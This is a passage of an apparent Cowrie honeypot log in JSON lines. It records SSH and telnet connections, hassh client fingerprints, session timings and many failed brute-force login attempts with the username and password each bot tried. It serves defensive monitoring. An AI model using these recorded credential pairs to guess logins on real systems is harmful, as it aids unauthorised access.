16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:52.898782Z","src_ip":"91.92.40.36","session":"d8267a3a90f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator","message":"login attempt [root/administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:53.051238Z","src_ip":"27.71.230.31","session":"c27a9607ee0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:54.271948Z","src_ip":"27.71.230.31","session":"c27a9607ee0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:54.327976Z","src_ip":"91.92.40.36","session":"3ee9aca19253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123123","message":"login attempt [deploy/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:55.229341Z","src_ip":"91.92.40.36","session":"d8267a3a90f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:56.829389Z","src_ip":"91.92.40.36","session":"d8267a3a90f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:31:57.041023Z","src_ip":"91.92.40.36","session":"3ee9aca19253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17016,"dst_ip":"10.17.0.5","dst_port":22,"session":"6489c57e9ef6","protocol":"ssh","message":"New connection: 91.92.40.36:17016 (10.17.0.5:22) [session: 6489c57e9ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:00.330386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:00.904814Z","src_ip":"91.92.40.36","session":"6489c57e9ef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:01.821169Z","src_ip":"91.92.40.36","session":"6489c57e9ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":45456,"dst_ip":"10.17.0.5","dst_port":22,"session":"22773cf116df","protocol":"ssh","message":"New connection: 163.7.9.84:45456 (10.17.0.5:22) [session: 22773cf116df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:03.191644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:03.196770Z","src_ip":"163.7.9.84","session":"22773cf116df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:03.449525Z","src_ip":"163.7.9.84","session":"22773cf116df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":17062,"dst_ip":"10.17.0.5","dst_port":22,"session":"2233dc633c87","protocol":"ssh","message":"New connection: 91.92.40.36:17062 (10.17.0.5:22) [session: 2233dc633c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:03.477416Z"}
{"eventid":"cowrie.session.closed","duration":33.28983116149902,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:03.665377Z","src_ip":"128.199.8.54","session":"5e96c29e6841","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:03.930781Z","src_ip":"91.92.40.36","session":"2233dc633c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:03.934269Z","src_ip":"91.92.40.36","session":"2233dc633c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"prueba","password":"prueba2024","message":"login attempt [prueba/prueba2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:04.491858Z","src_ip":"163.7.9.84","session":"22773cf116df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:05.747298Z","src_ip":"163.7.9.84","session":"22773cf116df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"test","message":"login attempt [testuser/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:06.742347Z","src_ip":"91.92.40.36","session":"2233dc633c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:06.751927Z","src_ip":"91.92.40.36","session":"6489c57e9ef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:07.896895Z","src_ip":"91.92.40.36","session":"2233dc633c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:08.735856Z","src_ip":"91.92.40.36","session":"6489c57e9ef6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":33708,"dst_ip":"10.17.0.5","dst_port":22,"session":"d945b4ce8a7f","protocol":"ssh","message":"New connection: 91.92.40.36:33708 (10.17.0.5:22) [session: d945b4ce8a7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:10.378446Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":40110,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ba07570a8f5","protocol":"ssh","message":"New connection: 109.237.96.109:40110 (10.17.0.5:22) [session: 2ba07570a8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:10.420771Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:10.426853Z","src_ip":"109.237.96.109","session":"2ba07570a8f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:10.518224Z","src_ip":"109.237.96.109","session":"2ba07570a8f5","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:10.628996Z","src_ip":"91.92.40.36","session":"d945b4ce8a7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:10.632489Z","src_ip":"91.92.40.36","session":"d945b4ce8a7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcasdqw","message":"login attempt [root/zxcasdqw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:10.803135Z","src_ip":"109.237.96.109","session":"2ba07570a8f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:11.896191Z","src_ip":"109.237.96.109","session":"2ba07570a8f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazwsx123456","message":"login attempt [root/qazwsx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:12.249841Z","src_ip":"91.92.40.36","session":"d945b4ce8a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.176.52.221","src_port":58802,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c564dbae1c4","protocol":"telnet","message":"New connection: 198.176.52.221:58802 (10.17.0.5:23) [session: 7c564dbae1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:12.521808Z"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:14.091855Z","src_ip":"91.92.40.36","session":"d945b4ce8a7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24190,"dst_ip":"10.17.0.5","dst_port":22,"session":"acf532bb0b98","protocol":"ssh","message":"New connection: 91.92.40.36:24190 (10.17.0.5:22) [session: acf532bb0b98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:17.170080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:17.691595Z","src_ip":"91.92.40.36","session":"acf532bb0b98","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:17.694839Z","src_ip":"91.92.40.36","session":"acf532bb0b98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123","message":"login attempt [user/user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:19.545999Z","src_ip":"91.92.40.36","session":"acf532bb0b98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.9","message":"Connection lost after 3.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:21.106972Z","src_ip":"91.92.40.36","session":"acf532bb0b98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42706,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f4e899eabe2","protocol":"telnet","message":"New connection: 128.199.8.54:42706 (159.203.135.109:23) [session: 2f4e899eabe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:22.701052Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":24238,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf93e00bae51","protocol":"ssh","message":"New connection: 91.92.40.36:24238 (10.17.0.5:22) [session: cf93e00bae51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:24.709633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:24.714204Z","src_ip":"91.92.40.36","session":"cf93e00bae51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":46356,"dst_ip":"159.203.135.109","dst_port":22,"session":"91fc6fd05539","protocol":"ssh","message":"New connection: 102.210.148.92:46356 (159.203.135.109:22) [session: 91fc6fd05539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:24.838566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:24.842659Z","src_ip":"102.210.148.92","session":"91fc6fd05539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:25.076611Z","src_ip":"102.210.148.92","session":"91fc6fd05539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tx123456","message":"login attempt [root/Tx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:32:26.047612Z","src_ip":"102.210.148.92","session":"91fc6fd05539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128